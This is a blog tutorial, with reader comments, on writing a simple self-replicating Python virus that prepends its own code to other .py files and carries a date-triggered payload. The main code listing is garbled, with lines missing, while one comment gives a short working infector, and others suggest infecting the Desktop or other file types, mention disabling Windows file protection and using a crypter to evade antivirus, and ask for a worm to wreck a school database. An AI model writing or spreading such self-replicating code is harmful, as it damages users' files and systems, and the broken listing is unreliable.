Skip to content

How to Make a Simple Computer Virus with Python

May 10, 2012

A great way to test your skills in a computer language is to try making a computer virus with that language. Python seems to be the hot language right now… so let’s make a Python virus.

If your language of choice is PHP, I already created a PHP virus here.

Let’s start with the source code:

import os
import datetime
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
            if infected == False:
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    for fname in filestoinfect:
        f = open(fname)
        temp =
        f = open(fname,"w")
        f.write(virusstring + temp)
def bomb():
    if == 1 and == 25:
filestoinfect = search(os.path.abspath(""))

You can also download the source code from github.

This is just an educational python virus that infects .py files. You’ll notice there are 3 parts to the virus. Search, infect, bomb. It works exactly like the PHP virus.

Search recurses through the current folder and finds .py files. If the file is already infected, it skips it. Otherwise, it adds it to the list of files to be infected.

Infect grabs the virus portion of the code from itself and prepends it to each of the victim files. This way, everytime each of the infected python files run, it runs the virus first.

Bomb is the portion of the code that gets triggered by a date. In this case, it is triggered by my birthdate and prints a harmless “HAPPY BIRTHDAY CRANKLIN!” message to the screen.

Even though it’s a harmless virus, it IS still a virus and should be used with caution. Try not to run it from the document root of your django website. πŸ™‚



From → Hacks

  1. This virus and others may be detected by antiviruses, unless you use something called a crypter. You can find an explanation of a crypter, and even download one here:

    • John Smith permalink

      That page looks pretty damn sketchy… im assuming that’s some sort of code obfuscator (though can’t really tell from the page tbh). What would be the benefit of using a C++ tool on python code?

    • matej permalink

      With what that virus infect computer (files) ??
      my gmail is :

  2. Great post!!! Can i have ur email(or skype if u use it)? i got one question about the post

    • sure. What kind of question do you have?

      • For the 3rd last line, why you put an empty string there? did u do it on purpose and leave it for the user to put an actual file path?
        I consider the function boom as an unnecessary part of this simple virus, we dont actually need it to get the virus work. am i right?
        Last one, __file__ doesn’t work on my machine. any suggestions?


    • Hi, I’m so sorry for the late reply. Things have been crazy over here.
      The empty string passed to os.path.abspath()? os.path.abspath(“”) returns the current working directory. Essentially, it is the same as doing os.getcwd()
      __file__ doesn’t work on your machine? What OS are you using?

    • Try adding:
      import inspect

      and then adding:
      this_file = inspect.currentframe().f_code.co_filename

      and using this_file rather than __file__
      Then change the line where it says “i < 39” to “i < 41”

    • Yes, you are correct. The “bomb()” method is unnecessary for the virus to function. πŸ™‚

  3. fred-letsroll permalink

    hello there…im quite new to python but im working on a virus…my file opens system32\drivers dll files and writes some text in it corrupting them. but the problem is that whenever the file is infected, win7 would boot to repair your computer mode and replace those files 😦

    according to me a virus just corrupts sensitive files preventing booting and others..

    its so confusing how you spread-ed your virus…ur code is complicated for a beginner like me…can u help me??

    • Hi Fred. The purpose of this virus is just to demonstrate file to file replication. A computer virus, at its core, is simply a file that replicates itself. Each of those infected files, in turn, continue to replicate itself. In your case, you are trying to infect a windows file. If that file fails a checksum, windows will replace it with an uninfected copy.

      • fred-letsroll permalink

        yes cranklin ur correct. but as a precaution i have written a code to disable the windows protection service which wud stop this replacement.
        and how can i replicate my virus i.e. spreading. *only for educational purpose*

        its a project at my college and i have chosen to make a virus which is quite complex…can u help me?

      • ahh I see. I would love to help you but it’s been so long since I’ve used windows. I’m on linux here. Please inform me of your findings. I’d love to know about it.

      • Yuri byxapn permalink

        hi man thanks for your time….what do you mean like reply …do you mean it’s a warm virus.

  4. fred-letsroll permalink

    oh :0 😦
    I tried a code of my own to replicate the file but ended in failure…I would be glad if could hep me resolve this issue.

  5. BobSmith permalink

    could i replace the effect? like have it rename files instead of saying “happy birthday”

  6. BobSmith permalink

    could you email me the answer:

    • John Smith permalink

      Easy, don’t know how good you are at Python but basically you just do something a little like this:

      from subprocess import call # grab call function
      call([‘REN’, ‘old file name’, ‘new file name’], shell=false, stdout=None)

      this is windows only (though for linux all you do is change ‘REN’ to ‘mv’) and also pretty sure this will hide the command prompt from coming up… though don’t really feel like testing it right now.

    • John Smith permalink

      Also just remembered you could do this in a multi-platform way by using the OS module:

      import os
      os.rename(‘old file name’, ‘new file name’)

  7. ryo0071772 permalink

    Great tutorial.

    I have a question, I have been doing research in my English class on computer viruses and worms and have already completed a research paper. I am thinking of doing a tutorial on a computer virus for my final project. Now, this being an Engish class I don’t really have much experience with programming (the topic just interests me) so I would like to get permission to use your code and write the tutorial section of the project about it. (I would also like to modify portions to, for example, make it more readable, by changing fname to file_name so my teacher and fellow classmates can understand it better). I would, of course give you credit and link/include your blog.

  8. AIFreak permalink

    Great tutorial, it helped me a lot! But there’s a thing I still don’t understand: How does a “professional” virus infect .exe files (or similar)? You cant’t compile .exe to python, so how does it change the code?

    • Thank you and that’s an excellent question. Simple answer is that you can’t with Python. I was actually planning on posting some old text files written by well-known virus creators that help explain this. In a nutshell, an assembly language virus would split itself and the host file into two parts (first part being equal sizes), and JMPing to the address of the first instruction set of the 2nd part of the virus. While in memory, the first part of the host is copied back into its rightful place in order for the program to operate normally. I know it’s a little tough to visualize, but I’ll upload some text files soon which should clarify this.

  9. oliver permalink

    how do you run it on raspberry pi

    • that’s an excellent question Oliver. I haven’t tried running it on a rpi, but I would run it just like you would run it on any other computer.

    • John Smith permalink

      If I remember correctly Raspberry Pi runs a Debian distro complied to run on an ARM processor (think it’s called Raspian or something like that). So Oliver is correct, just bring up the shell, type “python” then whatever you name this file.

      • John Smith permalink


        Ment to say “So cranklin* is correct”

  10. bstea permalink

    smaller virus:

    #!/usr/bin/env python
    from glob import glob
    v=open(__file__, ‘r’).readlines()[:7]
    for f in glob(‘*.py’):
    p=open(f, ‘r+’).readlines()
    if not p[2].startswith(‘v=open’):
    open(f, ‘r+’).writelines(v+p)

  11. Does it always require python compiler to be present on the infected PC for it to execute. Cant we make any executable file which executes automatically just like any other real virus ?

    • Surya Teja permalink

      well if you haven’t build the executable then ul need the compiler but if you have, then no need of it

      By default, this program needs the compiler to run

  12. Andy permalink

    Hey, just wondering. BTW, the code is really helpful. But if you changed

    filestoinfect = search(os.path.abspath(“”))

    To say

    filestoinfect = search(os.path.join(os.path.expanduser(‘~’), ‘Desktop’))

    Would it work?

  13. Ok, I’m New To Python But I’m At A Level Where I Can Code A Basic Game Of Hangman and A Basic Make Believe IP Address File Grabber (Don’t Ask…)… But, I Used Your Virus And I Accidentally Saved It Whilst I Was Working On A School Computer Science Project And Now Everytime I Try And Open My Code To Work On It, It Starts Up As A Batch File And Crashes When The Code Has Reached The Bottom… It Even Does This When I’m Trying To Open The Actual .py file… I Really Need A Way Of Stopping This REAL Quick As It’s A 25% Mark For My Coursework!
    I’ve tried deleting the file I had saved that encountered the virus code and no difference!

    • Jamie, it only runs if it is executed. You can always edit the “infected” files and remove the lines of code that belong to the virus.

      • I Saw That Just After I Posted Here and The Struggle Is That The Virus Is In A Python File Somewhere On My HDD… It Seems To Just Go Into An Un-stoppable Loop… I Save The Dis-Infected Files Without Virus Code And Do The Same For All My Python Files And As Soon As I Go To Save I Get A Message Along The Lines Of “ Has Been Changed By A Different Program, Would You Like To Update It?” <— The Un-Ending Loop…

        *ediT*: Ever Since I Have Deleted The Source File, I Can Access Notepad++ and Open It Through That But It Would Be Nice To Just Use IDLE As Notepad Has Masses Upon Masses Of Uneeded Buttons For Python Coding!

      • Jamie, it sounds like you’re using Windows. If you were using *nix or osx, I’d tell you to simply run: grep -r -l “CRANKLIN PYTHON VIRUS” .
        as this would list all the files that are infected. I would find a Windows equivalent command in either powershell, cygwin, or something else.

      • nathan permalink

        do you mean by deleting the code?

  14. Saint Peter permalink

    I based a not so harmless virus of this I dont plan to use it though. its for educational purposes only, dont worry guys I’m a white hat

  15. George permalink

    It is a great code. How about if we want it to infect all executable files instead of just python files?

    • T-J King permalink

      I have not tested this theory, but I believe that if you go to line 10 of the code (elif fname[-3:] == “.py”:) and change the .py to whatever executable you wish might work.

  16. hi cranklin, I was wondering if you would be able to write me a computer worm (or virus ) that can go into a school database , just to jumble everything up , its to get revenge after they expelled my sister after getting into a fight for doing nothing wrong and I want to get payback , please can you help…all other attempts have failed as the code I wrote failed on me

  17. You have god the pretty interesting code here. I am learning python and i want to create some simple virus. Maybe just like yours i have learnt till for loops, so i was wondering would that be sufficient ? or should i finish my course 1st ? i need your advice Cranklin, thanks a lot. πŸ™‚

  18. I used this and now I can’t access my python files. Is this meant to happen? Can it be fixed?

  19. SkaLLeXx permalink

    Hello when i run it will it harm my computer??Im new sry

  20. lexshard permalink

    i want to be a programmer that software engineer with python how i can start

  21. jodrhte permalink
  22. jodrhte permalink

    alert(‘LOVE YOU CRANKLIN’);

  23. jodrhte permalink

    Hi alert(‘boo’);

    Welcome to our system

  24. Howard permalink

    Hello cranklin,

    Thank you for posting this awesome virus code. I have learned a lot from it. However, I am still new to python and there are still something I do not understand.

    In your search method, I understand that you use a recursive call and put the files’ directories into filestoInfect list. Then you in your elif condition you assign each python file a “infected” tag. To me as a java programmer, it seems like infected is a boolean field for the string and I wonder how you are able to assign a tag to a file in python language.

    Thank you!!

    • Hi Howard,
      the infected variable is a boolean. It’s not actually a tag for each file, rather a scoped variable to determine whether we should infect it or not. On line 12, we default it to false and change it only if we determine that it is infected. We determine if it’s infected by looking for the presence of the signature string. On line 17, we check to see the state of our scoped variable and infect accordingly.
      I apologize if that’s confusing. When I write demonstration programs such as this virus, I expand a lot of logic out in hopes that people can follow. In this case, I wanted to make it obvious why I infect some files and not others. I hope that helps. πŸ™‚

  25. John Smith permalink

    How can you code this for it to infect .txt and other files?

  26. Nelrose Capate permalink

    how to make a simple virus?

  27. Trubel God's eye permalink

    Can you help me with setting up the virus so i can use as PHP file, drop your email or skype or ICQ

  28. Lauco permalink

    How to make my own virus?

  29. Valintine permalink

    How to make my own virus?

  30. Wizard permalink

    How can i start that virus?

  31. Ashutosh Mishra permalink

    this virus is effective for laptop

  32. Dimitra permalink

    Can I send this virus to other computer and I am not sure if it can damage my laptop

  33. Kakakakakak permalink


Trackbacks & Pingbacks

  1. How to Create a Virus Using the Assembly Language |
  2. 如何使用汇编语言编写一δΈͺη—…ζ―’ | | hg0088
  3. Elementor #2972 - Brainlessminds
  4. Let's make a little virus for Windows with Python - Brainlessminds

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: